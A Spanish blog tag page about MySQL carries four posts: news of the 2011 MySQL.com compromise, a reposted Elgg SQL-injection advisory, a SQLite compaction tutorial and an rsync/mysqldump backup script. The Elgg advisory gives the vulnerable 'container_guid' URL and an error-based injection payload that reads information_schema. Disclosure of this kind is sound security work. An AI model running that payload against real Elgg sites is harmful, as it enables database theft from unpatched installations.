Mostrando entradas con la etiqueta mysql. Mostrar todas las entradas
Mostrando entradas con la etiqueta mysql. Mostrar todas las entradas

Hackean MySQL.com e intentan vender acceso al sitio por 3.000 dólares

27 septiembre 2011 Publicado por cLimbo 0 comentarios

Una de las bases de datos más extendidas en muchas aplicaciones web es MySQL, un sistema de gestión de bases de datos relacional, multihilo y multiusuario que se distribuye bajo licencia GNU GPL siempre que la utilización sea compatible con esta licencia. Creo que es complicado atreverse a dar una cifra de las instalaciones de MySQL que hay desplegadas pero, teniendo en cuenta la cantidad de aplicaciones que la utilizan, enterarnos que el sitio MySQL.com ha sido hackeado y ha estado redirigiendo a los usuarios a sitios web repletos de malware, la verdad, a uno se le hace un nudo en el estómago.

Según ha publicado la firma de seguridad Armorize, la web MySQL.com habría sido infectada con un script que redirigía a los visitantes a un sitio web armado con el BlackHole exploit pack, un pack de herramientas que buscan vulnerabilidades conocidas en múltiples aplicaciones y navegadores (y que por 1.500 dólares anuales podemos comprar una licencia):

Intenta explotar vulnerabilidades en la plataforma que se utiliza para navegar (el navegador, plugins como Adoble Flash, Adobe PDF, Java, etc) y, si lo logra, entonces deposita malware en el equipo de la víctima sin que éste se de cuenta. El visitante no tiene que aceptar nada o hacer click en algún mensaje, simplemente al visitar MySQL.com con una plataforma vulnerable se infectará directamente

Pero la cosa no acaba aquí, si el hecho de que MySQL.com haya sido comprometido es algo grave, peor es la segunda parte de esta historia. Resulta que en algunos foros underground de Rusia se habría estado moviendo este ataque y la persona (o personas) que fue capaz de acceder a los servidores del sitio web habría estado vendiendo “entradas” a 3.000 dólares, es decir, comprar la posibilidad de acceder a este sitio web (también con fines nada bondadosos) por poco más de 2.200 euros. Curiosamente, el foro en el que se anunció la venta incrementó su tráfico llegando a tener 39.000 usuarios por día (12 millones mensuales), así que parece que el anuncio llamó la atención de bastante gente.





Desde Armorize, la empresa que ha hecho saltar la voz de alarma, aseguran que la infección fue eliminada al poco de lanzar ellos su nota avisando del tema, sin embargo, aún quedan por aclarar varios aspectos que llevarán mucho más tiempo, por ejemplo, cómo fue posible que esto sucediese o cuánto tiempo ha estado ocurriendo. Se cree que quizás la infección estuviese activa no más de 7 horas, una ventana de tiempo lo suficientemente amplia como para que hayan entrado 120.000 usuarios al sitio web y hayan sido expuestos a esta trampa.


Etiquetas: ,

Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection

19 agosto 2011 Publicado por cLimbo 0 comentarios
##################################################
Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection
URL afectada: http://www.elgg.org/
Reportado por: http://lostmon.blogspot.com/2011/08/elgg-18-beta2-and-prior-to-1711.html
Notificación al afectado: Exploit disponible:
##################################################

###################
Descripción del afectado
###################

Elgg es un galardonado motor de redes sociales, la entrega de los elementos básicos que permiten a las empresas, escuelas, universidades y asociaciones para crear sus propias funciones de las redes sociales y aplicaciones. Las organizaciones con redes impulsado por Elgg incluyen: Gobierno de Australia, el Gobierno británico, canadiense Federal Gobierno, Mitre, el Banco Mundial, UNESCO, NASA, la Universidad de Stanford, La Universidad Johns Hopkins y más (http://elgg.org/powering.php)

################
Versiones afectadas
################

Elgg 1.8 beta2: vulnerable
Elgg 1.7.10 y posteriores versiones: vulnerables
Elgg 1.7.11: no vulnerable


#################
Detalles técnicos
#################

El tipo de inyección es integrado y sólo se puede explotar mediante inyección MySQL, funciona con
'magic_quotes_gpc' en 'on' u 'off''


######################
PoC
######################


Si sabes cómo inyectar, sabrás como usarlo ;-)


URL => http://localhost/elgg/search/?q=someword&search_type=tags&container_guid=7826'

Inyecciones:

and(select 1 from(select count(*),concat((select (select %column_name%) from
`information_schema`.tables limit 0,1),floor(rand(0)*2))x from
`information_schema`.tables
group by x)a) and 1=1

Count(table_name) of information_schema.tables where

table_schema=0x74657374 is 75

Count(column_name) of information_schema.columns where

table_schema=0x74657374 and table_name=0x62616E6C697374 is 4

################
Solución
###############


El afectado ha lanzado una versión actualizada para resolver este tema y otros, se pueden ver los cambios en el changelog y actualizen su Elgg a la versión 1.7.11.

###############
Tiempo de la vuln
###############

Descubierto: 30 de julio 2011
Notificación al afectado: 30 de julio 2011
Respuesta del afectado: 30 de julio 2011
Revisión del proveedor: 15 de agosto 2011
Divulgación pública: 15 de agosto 2011


########################## €nd ########################

Atentamente:
Lostmon (lostmon@gmail.com)
----


thz Lost ;-)

[Tutorial] Compacta y repara bases de datos SQLite

23 agosto 2009 Publicado por cLimbo 0 comentarios
SQLite es un sistema de gestión de bases de datos relacional compatible con ACID, y que está contenida en una relativamente pequeña (~225 kB[1] ) biblioteca en C.

Cuando creamos una tabla, base de datos o datos y estos se han eliminado/borrado se deja el espacio vacío en la misma, este espacio vacío se reutilizarán la próxima vez que se añade nueva información a la base de datos, pero mientras tanto, el archivo de base de datos podría ser más grande. Además, las frecuentes inserciones, actualizaciones, puede causar que base de datos se fragmente.

Por ejemplo firefox mantiene una base de datos en sqlite donde almacena los datos del firefox resulta conveniente compactar para eliminar datos erróneos o borrados de la base de datos.

Para compactar y corregir todos los ficheros sqlite tan fácil como este pequeño script:

for db in `locate '*.sqlite'`; do
sqlite3 'VACUUM' $db 2>/dev/null
done

Para que resulte eficaz deberemos cerrar los programas que usan esta base de datos si no veremos algo como:

SQL error: database is locked

Si no tenemos sqlite3 deberemos de instalarlo:

sudo aptitude install sqlite3


Hay alguna aplicación que nos permite visualizar los datos incluso añadir datos nuevos o crear bases de datos, tablas:

sudo aptitude install sqlitebrowser


Es tan fácil como decirle a nuestro gestor de archivos que los ficheros sqlite los abra con sqlitebrowser, a partir de este momento podremos operar sobre la base de datos y nos resultara útil también para compactar la base de datos ya que este programita cuenta con dicha utilidad:



Desde la linea de comandos podremos interactuar con nuestra base de datos de esta manera:

sqlite3 db.sqlite


La sintaxis es prácticamente igual a MySQL y os resultara familiar si sabéis MySQL.

Un saludo

Artículo cedido por un conocido; chakal^-^.

rbackup (rsync backup)

21 enero 2009 Publicado por cLimbo 0 comentarios
Nombre: rbackup (rsync backup)
Autor: Patricio Silva (Pato Silva)
Lenguaje: bash
Licencia: GPL
Dependencias: rsync, openssh-server, mysql
Propósito: Realizar un backup incremental de un servidor web en un host remoto y genera un archivo de log de sucesos, también funciona para local en el caso en que se hiciera el backup en otro disco del mismo equipo (mala idea).

#!/bin/sh

# Realiza un respaldo de las bases de datos
# y los archivos de las paginas web ya sea en local o remoto
# Para backup remoto se asumira que localhost es el origen de los datos
#
#
# Variables de rutas, ubicacion de las bases de datos, paginas
# y comandos necesarios para la ejecucion

# Nombre o direccion IP del host remoto, en blanco si el backup se hara en local
HOST_REMOTO=servbackup.dominio.com

# Nombre de usuario remoto, en blanco si el backup se ará en local
USUARIO_REMOTO=rbackup

# Puerto remoto a la escucha de ssh
PUERTO_REMOTO=222

# Nombre de los directorios que contienen las paginas web
# Cada directoro se actualizará mediante una nueva conexion rsync
PAGINAS="/var/www/pagina1 /var/www/pagina2 /var/www/paginax"

# Bases de datos de las que se realizara el backup
# Si se omite se ejecutará mysqldump con la opcion --all-databases
MYSQL_DATABASES="una_base_de_datos otra_base_de_datos y_otra_mas"

# Otros archivos a sincronizar
OTROS="/etc/apache2 /var/log/rbackup"

# Directorio temporal al cual se realizara el dump de la base de datos para luego ser transferida
TMP=/tmp

# Directorio donde se almacenaran los registros de log (en local)
DIR_LOG=/var/log/rbackup

# Nombre del archivo de log
ARCH_LOG=rbackup.log

# Nombre del archivo de debug, el archivo solo se conservará si
# Se lo indica en la variable CONSERVAR_DEBUG o si ocurrieran errores
ARCH_DEBUG=`date +rbackup-%d-%m-%Y-%H:%M.debug`

# Coservar el archivo de debug, cero por NO, cualquier otro valor por SI
CONSERVAR_DEBUG=1

# Directorio destino del backup
RUTA_DESTINO=/var/rbackup

# Nombre de usuario valido y con suficientes privilegios para realizar dump de las bases de datos.
# Puede omitirse si no se requiere de ninguno
MYSQL_USER=usuario

# Password del usuario, puede omitirse
MYSQL_PASSWORD=clave

# Otras opciones a agregar al guión de ejecucion de mysqldump
# --verbose y --force son buena idea
# --default-character-set=latin1 es recomendable para
# base de datos mysql 4.0 o anteriores
OPCIONES_MYSQLDUMP='--default-character-set=latin1 --verbose --force'

################################################################################################################

# Agrega un registro al archivo de log
# Si se especifica la opcion -p tambien lo muestra por pantalla
log(){
echo `date "+%d %b %r"`" "$1 >> $ARCH_LOG
test +$2 == '+-p' && echo `date "+%d %b %r"`" "$1
}

# Coloca ruta absoluta a los archivos de log
ARCH_LOG=${DIR_LOG}/$ARCH_LOG
ARCH_DEBUG=${DIR_LOG}/$ARCH_DEBUG

# Comprueba que existe el directorio de log y el archivo de log, lo crea si no existiera
# El script termina con error si no se pudiera lograr esto con exito
! test -d $DIR_LOG && mkdir --parent $DIR_LOG
! test -d $DIR_LOG && echo "Error fatal: El directorio de destino de los archivos de log y debug no existe y no puede crearse" && exit 1

! test -e $ARCH_LOG && echo "Creando archivo de log" && touch $ARCH_LOG
! test -w $ARCH_LOG && echo "Error fatal: El archivo de log $ARCH_LOG no existe y no puede crearse y/o modificarse" && exit 1

! test -e $ARCH_DEBUG && touch $ARCH_DEBUG
! test -w $ARCH_DEBUG && log "Error fatal: El archivo de debug $ARCH_DEBUG no pudo crearse y/o modificarse" -p && exit 1

log 'Iniciando backup'
logger -t $0 'Iniciando backup'
echo -- DEBUG FILE -- [ `date "+%d %b %r"` ] >> $ARCH_DEBUG

# Da el formato adecuado a las variables referentes a las bases de datos
# Le asigna a la variable MYSQL_USER el formato --user=nombre pero deja la cadena vacia si no se ha especificado usuario.
test -z $MYSQL_USER || MYSQL_USER="--user=$MYSQL_USER"

# Le asigna a la variable MYSQL_PASSWORD el formato "--password=password" pero deja la cadena vacia si no se ha especificado password.
test -z $MYSQL_PASSWORD || MYSQL_PASSWORD="--password=$MYSQL_PASSWORD"

# Si se han especificado bases de datos se le da el formato "--databases lista de las bases de datos"
# Se le asigna el valor "-all-databases" en caso contrario
test -z "$MYSQL_DATABASES" || MYSQL_DATABASES="--databases $MYSQL_DATABASES"
test -z "$MYSQL_DATABASES" && MYSQL_DATABASES="--all-databases"

# Da el formato adecuado al destino segun sea local o remoto
! test -z $USUARIO_REMOTO && ! test -z $HOST_REMOTO && RUTA_DESTINO=${USUARIO_REMOTO}@${HOST_REMOTO}:${RUTA_DESTINO}

# Realiza el respaldo de la base de datos en local $TMP
log "Creando archivo de dump de las bases de datos en \"${TMP}/databases.sql\""
mysqldump $OPCIONES_MYSQLDUMP $MYSQL_USER $MYSQL_PASSWORD $MYSQL_DATABASES --result-file ${TMP}/databases.sql 2> $ARCH_DEBUG

# Si el proceso mysqldump no finalizo correctamente se registra una alerta en el archivo de log y se conserva
# el archivo debug, de lo contrario el archivo debug es eliminado y la base de datos se transfiere al host remoto
ERROR=$?
if [ $ERROR -ne 0 ];
then
log "ATENCION: El proceso mysqldump ha finalizado con código de salida $ERROR, para evitar reemplazar el archivo de backup de la base de datos anterior por un archivo corrupto se ha omitido la sincronizacion. Vea el archivo $ARCH_DEBUG para obtener información detallada del error."
else
log "Inicio del backup de la base de datos; destino: \"${RUTA_DESTINO}/database/databases.sql\""
echo `date "+%d %b %r"`" -- MARK --" >> $ARCH_DEBUG
rsync -e "ssh -p $PUERTO_REMOTO" -avz ${TMP}/databases.sql $RUTA_DESTINO/database/ 2>&1 >> $ARCH_DEBUG
ERROR=$?
if [ $ERROR -ne 0 ];
then
log "ATENCION: La transferencia del archivo de dump de la base de datos ha finalizado con código de salida $ERROR. Vea el archivo $ARCH_DEBUG para obtener información detallada del error."
test +$CONSERVAR_DEBUG == '+0' && rm $ARCH_DEBUG
fi
fi

log "Inicio del backup de archivos, destino: \"${RUTA_DESTINO}/paginas/\""

# Realiza el respaldo de los archivos de paginas
# Si ocurre algun error se loguea
for ARCHIVOS in $PAGINAS
do
log "Actualizando \"${ARCHIVOS}\" en \"${RUTA_DESTINO}/paginas/\""
RS_OUTPUT=`rsync -e "ssh -p $PUERTO_REMOTO" -avz --delete $ARCHIVOS ${RUTA_DESTINO}/paginas/ 2>&1`
test $? -ne 0 && ERROR=1 && log "ATENCION: $RS_OUTPUT" -p
echo `date "+%d %b %r"`" -- MARK --" >> $ARCH_DEBUG
echo ${ARCHIVOS}: $RS_OUTPUT >> $ARCH_DEBUG
done

# Realiza el respaldo de "otros" archivos
# Si ocurre algun error se loguea
for ARCHIVOS in $OTROS
do
log "Actualizando \"${ARCHIVOS}\" en \"${RUTA_DESTINO}/OTROS/\""
RS_OUTPUT=`rsync -e "ssh -p $PUERTO_REMOTO" -avz --delete $ARCHIVOS ${RUTA_DESTINO}/OTROS/ 2>&1`
test $? -ne 0 && ERROR=1 && log "ATENCION: $RS_OUTPUT" -p
echo `date "+%d %b %r"`" -- MARK --" >> $ARCH_DEBUG
echo ${ARCHIVOS}: $RS_OUTPUT >> $ARCH_DEBUG
done

if [ $ERROR -eq 0 ];
then
if [ +$CONSERVAR_DEBUG == '+0' ];
then
rm $ARCH_DEBUG
else
log "El archivo de debug es \"${ARCH_DEBUG}\""
fi
fi

log "Backup finalizado"
logger -t $0 'Backup finalizado'
exit 0

Ejemplo de uso:

./rbackup
Para el funcionamiento automático se asume que puede establecerse una conexión ssh entre ambos host mediante certificados sin frase.

La idea es que la ejecución se haga desde cron, el código esta lo suficientemente explicado para entenderse su funcionamiento.

Tiene muy buena tolerancia a fallos, lo utilizo actualmente y nunca tube problemas, rsync funciona realmente muy rápido. Personalmente lo ejecuto desde cron dos veces al dia, con una base de datos de casi un giga y unos 3 gigas en archivos la sincronización dura menos de dos minutos.